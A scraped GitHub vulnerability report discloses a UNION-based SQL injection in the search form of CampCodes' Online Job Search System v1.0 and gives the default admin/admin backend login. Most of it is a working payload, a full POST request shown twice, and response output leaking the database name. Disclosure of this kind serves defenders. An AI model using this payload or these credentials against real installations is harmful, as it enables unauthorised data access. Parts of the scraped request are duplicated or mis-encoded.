

main

...

bug_report / vendors / campcodes.com / online-job-search-system / SQLi-11.md



debug601 Create SQLi-11.md

History

1 contributor

34 lines (23 sloc) | 1.38 KB

...

Complete Online Job Search System v1.0 has SQL injection

The password for the backend login account is: admin/admin

vendors: <https://www.campcodes.com/projects/php/online-job-search-system-using-php-mysql-free-download/>

Vulnerability File: /eris/index.php?q=result&searchfor=bytitle

Vulnerability location: /eris/index.php?q=result&searchfor=bytitle,SEARCH

Current database name: erisdb

[+] Payload: SEARCH=9890') union select

1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--

+&CATEGORY=&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 // Leak place ---> SEARCH

```
POST /eris/index.php?q=result&searchfor=bytitle HTTP/1.1
```

```
Host: 192.168.1.19
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

```
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=mho0fs263l0tis8l6v3lqpu6q4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 140

SEARCH=9890') union select 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--



POST /eris/index.php?q=result&searchfor=bytitle HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=mho0fs263l0tis8l6v3lqpu6q4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 140

SEARCH=9890') union select
1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
-&CATEGORY=&submit=%E6%8F%90%E4%B%A4%E6%9F%A5%E8%AF%A2

<tr>

<td>

<div

class="media">

<!-- -->

<div class="media-body">

erisdb

<h4 class="title">

erisdb

(Company 15)

</h4>

Load URL http://192.168.1.19/eris/index.php?q=result&searchfor=bytitle

Split URL

Execute

☐ Post data ☐ Referrer 0xHEX %URL BASE64 Insert string to replace Insert replacing string ☒ Replace All

Tel No. (+001) 123-456-789 Login

WEBSITE NAME HOME JOB SEARCH POPULAR JOBS COMPANY HIRING NOW ABOUT US CONTACT

Advance Search

Result : 9890') union select 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--

erisdb

(Company 15) erisdb

9